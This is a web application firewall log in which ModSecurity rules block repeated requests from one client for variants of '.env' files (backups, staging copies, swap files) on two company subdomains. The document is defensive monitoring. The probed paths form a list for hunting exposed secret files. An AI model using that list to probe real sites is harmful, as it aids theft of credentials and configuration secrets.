[Sat Oct 24 22:07:29.066789 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at1kYUCehrQoNuVtn8-PfAAAAAM"]
[Sat Oct 24 22:07:29.081506 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.live"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at1kYVQTwXU83R4GW_mbmAAAACg"]
[Sat Oct 24 22:07:29.081752 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at1kYVQTwXU83R4GW_mbmAAAACg"]
[Sat Oct 24 22:07:29.082040 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at1kYVQTwXU83R4GW_mbmAAAACg"]
[Sat Oct 24 22:07:29.226678 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at1kYUCehrQoNuVtn8-PfQAAAAM"]
[Sat Oct 24 22:07:29.226913 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at1kYUCehrQoNuVtn8-PfQAAAAM"]
[Sat Oct 24 22:07:29.227230 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at1kYUCehrQoNuVtn8-PfQAAAAM"]
[Sat Oct 24 22:07:29.252873 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.preprod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at1kYVQTwXU83R4GW_mbmQAAACg"]
[Sat Oct 24 22:07:29.253038 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at1kYVQTwXU83R4GW_mbmQAAACg"]
[Sat Oct 24 22:07:29.253324 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at1kYVQTwXU83R4GW_mbmQAAACg"]
[Sat Oct 24 22:07:29.366344 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at1kYUCehrQoNuVtn8-PfgAAAAM"]
[Sat Oct 24 22:07:29.366606 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at1kYUCehrQoNuVtn8-PfgAAAAM"]
[Sat Oct 24 22:07:29.366968 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at1kYUCehrQoNuVtn8-PfgAAAAM"]
[Sat Oct 24 22:07:29.381815 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.uat"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "at1kYVQTwXU83R4GW_mbmgAAACg"]
[Sat Oct 24 22:07:29.381989 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "at1kYVQTwXU83R4GW_mbmgAAACg"]
[Sat Oct 24 22:07:29.382254 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "at1kYVQTwXU83R4GW_mbmgAAACg"]
[Sat Oct 24 22:07:29.576360 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at1kYUCehrQoNuVtn8-PfwAAAAM"]
[Sat Oct 24 22:07:29.576603 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at1kYUCehrQoNuVtn8-PfwAAAAM"]
[Sat Oct 24 22:07:29.576929 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at1kYUCehrQoNuVtn8-PfwAAAAM"]
[Sat Oct 24 22:07:29.636829 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at1kYVQTwXU83R4GW_mbmwAAACg"]
[Sat Oct 24 22:07:29.636984 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at1kYVQTwXU83R4GW_mbmwAAACg"]
[Sat Oct 24 22:07:29.637255 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at1kYVQTwXU83R4GW_mbmwAAACg"]
[Sat Oct 24 22:07:29.740282 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at1kYUCehrQoNuVtn8-PgAAAAAM"]
[Sat Oct 24 22:07:29.740551 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at1kYUCehrQoNuVtn8-PgAAAAAM"]
[Sat Oct 24 22:07:29.740930 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at1kYUCehrQoNuVtn8-PgAAAAAM"]
[Sat Oct 24 22:07:29.760831 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.swp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at1kYVQTwXU83R4GW_mbnAAAACg"]
[Sat Oct 24 22:07:29.760983 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at1kYVQTwXU83R4GW_mbnAAAACg"]
[Sat Oct 24 22:07:29.761237 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env.swp"] [unique_id "at1kYVQTwXU83R4GW_mbnAAAACg"]
[Sat Oct 24 22:07:29.875274 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env~"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at1kYVQTwXU83R4GW_mbnQAAACg"]
[Sat Oct 24 22:07:29.875525 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at1kYVQTwXU83R4GW_mbnQAAACg"]
[Sat Oct 24 22:07:29.875811 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env~"] [unique_id "at1kYVQTwXU83R4GW_mbnQAAACg"]
[Sat Oct 24 22:07:29.890259 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at1kYUCehrQoNuVtn8-PgQAAAAM"]
[Sat Oct 24 22:07:29.890398 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at1kYUCehrQoNuVtn8-PgQAAAAM"]
[Sat Oct 24 22:07:29.890626 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at1kYUCehrQoNuVtn8-PgQAAAAM"]
[Sat Oct 24 22:07:29.990924 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env1"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env1"] [unique_id "at1kYVQTwXU83R4GW_mbngAAACg"]
[Sat Oct 24 22:07:29.991178 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env1"] [unique_id "at1kYVQTwXU83R4GW_mbngAAACg"]
[Sat Oct 24 22:07:29.991573 2026] [security2:error] [pid 2693034:tid 2693034] [client 34.65.76.167:38630] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion2.sherwinpinturas.com"] [uri "/.env1"] [unique_id "at1kYVQTwXU83R4GW_mbngAAACg"]
[Sat Oct 24 22:07:30.116415 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at1kYkCehrQoNuVtn8-PggAAAAM"]
[Sat Oct 24 22:07:30.116681 2026] [security2:error] [pid 2731598:tid 2731598] [client 34.65.76.167:38652] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion3.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at1kYkCehrQoNuVtn8-PggAAAAM"]
